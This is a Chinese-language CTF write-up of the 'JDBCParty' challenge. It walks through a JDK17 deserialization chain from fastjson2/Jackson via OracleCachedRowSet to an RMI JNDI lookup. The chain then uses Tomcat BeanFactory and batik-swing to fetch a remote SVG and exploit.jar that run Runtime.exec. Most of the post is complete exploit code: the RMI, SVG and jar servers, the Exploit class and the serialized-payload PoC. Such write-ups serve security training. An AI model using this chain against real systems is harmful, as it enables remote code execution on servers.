软件安全赛初赛25--JDBCParty
1diot9 Lv3

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.5.5</version>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/com.oracle.database.jdbc/ojdbc11 -->
<dependency>
<groupId>com.oracle.database.jdbc</groupId>
<artifactId>ojdbc11</artifactId>
<version>21.14.0.0</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jdbc</artifactId>
<version>10.1.31</version>
</dependency>

<dependency>
<groupId>org.apache.xmlgraphics</groupId>
<artifactId>batik-swing</artifactId>
<version>1.14</version>
</dependency>

<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>

一道jdk17的题
先分析能利用的资源:

  • springboot自带的jackson链
  • fastjson2的原生反序列化链
  • springboot里带的tomcat-embed-core,有BeanFactory,可以在JNDI的时候用。这里是10.1.31版本,那forceString用不了,但是还是可以触发setter
  • ojdbc,没见过。但是和数据库有关的,要么是直接jdbc,比如经典的mysql-jdbc,要么是打jndi。目前高版本jdk的题,如果是内存数据库喜欢考jdbc,如果不是内存数据库喜欢考jndi。等下可以注意一下里面是否有jndi注入点
  • batik-swing,没见过,且没思路。看了wp才知道是和jndi结合起来用,算高版本jndi之xxe利用吧。参考 JDK CVE-2023-21939 分析利用

看一下题目的反序列化点:

  • 很直接,就是直接反序列化

现在能够大概确定一个思路:
1、EventListenerList+fastjson2/jackson,触发getter
2、某个getter触发jndi
3、jndi结合batik-swing实现rce

OracleCachedRowSet链

现在尝试找一下有没有能触发jndi的getter,这里用tabby找:img

建议路径一开始别设置太长,先从短链找起。排除一些不能序列化,没有exports的类后,能够发现oracle.jdbc.rowset.OracleCachedRowSet#getConnection。具体看一下它调用的getConnectionInternal,能够发现是可用的,不过只有rmi协议可用,因为有个validateJNDIName(),里面不允许ldap。

后面还不太清楚,先搬运一下。

先起rmi服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("URI", "http://localhost:8886/1.xml"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteobj", referenceWrapper); //Client处访问rmi://localhost:1097/remoteobj
}
}

再起xml服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class XmlServer {
public static void main(String[] args) throws IOException {
HttpServer server = HttpServer.create(new InetSocketAddress(8886), 0);
server.createContext("/1.xml", new Xml1Handler());
server.createContext("/2.xml", new Xml2Handler());
server.setExecutor(null);
server.start();

System.out.println("Server started on port 8886");
}

static class Xml1Handler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
exchange.getResponseHeaders().set("Content-Type", "application/xml");
exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");
exchange.sendResponseHeaders(200, 0);
String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" " +
"xmlns:xlink=\"http://www.w3.org/1999/xlink\" " +
"version=\"1.0\"> <script type=\"application/java-archive\" " +
"xlink:href=\"http://localhost:8887/exploit.jar\"/> " +
"<text>Static text ...</text> </svg>";
OutputStream responseBody = exchange.getResponseBody();
responseBody.write(xml.getBytes());
responseBody.close();
}
}
static class Xml2Handler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
exchange.getResponseHeaders().set("Content-Type", "application/xml");
exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");
exchange.sendResponseHeaders(200, 0);
String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" " +
"height=\"100\"> <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"green\" " +
"onload=\"showFrame()\"/> <script type=\"text/ecmascript\"> " +
"importPackage(Packages.java.lang); function showFrame() { " +
"Runtime.getRuntime().exec(\"calc.exe\"); } </script> </svg>";
OutputStream responseBody = exchange.getResponseBody();
responseBody.write(xml.getBytes());
responseBody.close();
}
}
}

再起http服务器:

这个直接python -m http.server 8887 也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class JarServer {
public static void main(String[] args) throws IOException {
HttpServer server = HttpServer.create(new InetSocketAddress(8887), 0);
server.createContext("/exploit.jar", new BinaryHandler());
server.setExecutor(null);
server.start();
System.out.println("Server started on port 8887");
}
public static byte[] readInputStream(InputStream inputStream) {
byte[] temp = new byte[4096];
int readOneNum = 0;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
while ((readOneNum = inputStream.read(temp)) != -1) {
bos.write(temp, 0, readOneNum);
}
inputStream.close();
} catch (Exception ignored) {
}
return bos.toByteArray();
}
static class BinaryHandler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
System.out.println("get request");
byte[] data = readInputStream(JarServer.class.getClassLoader()
.getResourceAsStream("exploit.jar"));
exchange.getResponseHeaders().set("Content-Type", "application/octet-stream");
exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");
exchange.sendResponseHeaders(200, data.length);
OutputStream responseBody = exchange.getResponseBody();
responseBody.write(data);
responseBody.close();
}
}
}

jar包里的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

public class Exploit implements EventListenerInitializer {
public Exploit() {
}

public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}

最终Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.example.solution;

import com.alibaba.fastjson2.JSONArray;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import oracle.jdbc.rowset.OracleCachedRowSet;

import javax.swing.event.EventListenerList;
import java.io.FileOutputStream;
import java.util.Base64;

public class Poc {
public static void main(String[] args) throws Exception {
// Tools17.bypassModule(Poc.class);
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj");
Object o = GadgetUtils17.makeObjectAopProxy(oracleCachedRowSet);

JSONArray jsonArray = new JSONArray();
jsonArray.add(o);


POJONode node = GadgetUtils17.JacksonToString2GetterBetter(oracleCachedRowSet);


// POJONode nodes = GadgetUtils17.JacksonToString2GetterBetter(oracleCachedRowSet);

EventListenerList list = GadgetUtils17.eventListenerList(jsonArray);

byte[] ser = Tools17.ser(list);
String s = Base64.getEncoder().encodeToString(ser);
new FileOutputStream("D://1tmp//payload.txt").write(s.getBytes());
Tools17.deser(ser);

}
}

LdapAttribute链

这个方法我没试过,不过应该也可以

可以看JDK17打Jackson+LdapAttruibute反序列化 | GSBP’s Blog

参考

https://github.com/Y4Sec-Team/CVE-2023-21939

来自三道高版本JDK的JDBC连打combo - EddieMurphy’s blog

软件攻防赛JDBCParty赛后解-先知社区

高版本JNDI注入-高版本Tomcat利用方案-先知社区 这里有讲BeanFactory还能触发setter

从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE | J1rrY’s Blog 这里具体讲了jar包怎么来

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 这里讲了高版本下jndi怎么打,有提到本题的xxe利用

JDK CVE-2023-21939 分析利用batik-swing 组件造成的 rce 漏洞-先知社区 关于本题batik-swing怎么用

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量